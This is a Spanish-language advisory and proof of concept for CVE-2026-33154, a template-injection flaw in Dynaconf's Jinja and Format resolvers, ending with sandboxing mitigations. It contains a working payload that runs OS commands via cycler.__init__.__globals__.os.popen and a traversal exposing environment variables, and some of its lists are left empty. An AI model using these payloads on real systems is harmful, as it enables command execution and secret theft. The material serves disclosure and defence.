
Prueba de concepto del exploit para CVE-2026-33154, que demuestra la ejecución remota de código mediante SSTI en el resolver Jinja de Dynaconf, con análisis y orientación de mitigación.
Dynaconf es vulnerable a Inyección de Plantillas del Lado del Servidor (SSTI) debido a la evaluación insegura de plantillas en el resolutor __@Jinja__. Cuando el paquete jinja2 está instalado, Dynaconf evalúa expresiones de plantilla incrustadas en los valores de configuración sin un entorno aislado (sandbox).
Si un atacante puede influir en las fuentes de configuración, como:
.env...puede ejecutar comandos arbitrarios del sistema operativo en el sistema host. Además, el resolutor __@Format__ permite el recorrido del grafo de objetos, lo que puede exponer objetos sensibles del runtime y variables de entorno.
La vulnerabilidad surge porque los resolutores de cadenas de Dynaconf carecen de límites de seguridad adecuados.
__@Jinja__El resolutor __@Jinja__ renderiza plantillas utilizando la evaluación completa de Jinja2. Sin embargo, el contexto de renderizado no está aislado (sandboxed), lo que permite a los atacantes acceder a los atributos internos de Python. Utilizando objetos como cycler, los atacantes pueden alcanzar los globales de Python e importar el módulo os.
Ruta de ataque de ejemplo:
cycler → __init__ → __globals__ → os → popen()
Esto conduce a la ejecución arbitraria de comandos.
__@Format__El resolutor __@Format__ realiza el formateo de cadenas de Python utilizando objetos internos. Esto permite a los atacantes recorrer el grafo de objetos de Python y acceder a objetos sensibles del runtime.
Recorrido de ejemplo:
{this.__class__.__init__.__globals__[os].environ}
Esto puede exponer:
import os
from dynaconf import Dynaconf
# Inyección de configuración maliciosa
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Resultado de la Ejecución de Comandos:")
print(settings.RCE)
La explotación exitosa permite a los atacantes:
Debido a que los valores de configuración pueden originarse en pipelines de CI/CD, sistemas de orquestación de contenedores o inyección de entorno, esta vulnerabilidad puede volverse explotable de forma remota en implementaciones del mundo real.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ a Valores de Confianzasafe_value = "{name}".format(name=trusted_name)